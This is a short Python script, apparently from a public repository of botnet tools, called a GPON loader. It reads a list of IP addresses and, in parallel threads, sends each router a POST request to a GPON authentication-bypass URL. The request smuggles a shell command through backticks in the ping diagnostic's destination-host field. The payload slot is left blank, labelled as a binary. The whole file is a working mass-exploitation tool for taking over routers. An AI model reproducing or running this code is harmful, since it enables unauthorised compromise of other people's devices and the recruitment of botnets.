Path: blob/master/Botnets/Exploits/GPON/gpon-loader.py
5038 views
#!/usr/bin/env python1#By: Choudai;2import sys, requests, time, ssl, threading345ctx = ssl.create_default_context()6ctx.check_hostname = False7ctx.verify_mode = ssl.CERT_NONE8payload = '' #Binary9exploit = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`' + payload + '`;' + payload + '&ipv=0'10ips = open(sys.argv[1], 'r').readlines()111213class gpon(threading.Thread):14def __init__ (self, ip):15threading.Thread.__init__(self)16self.ip = str(ip).rstrip('\n')1718def run(self):19try:20bypass = 'http://' + self.ip + '/GponForm/diag_Form?images/'21req = requests.Request('POST', bypass, data=exploit)22prepared = req.prepare()23s = requests.Session()24s.send(prepared)25except:26pass272829for ip in ips:30try:31g = gpon(ip)32g.start()33time.sleep(0.1)34except:35pass363738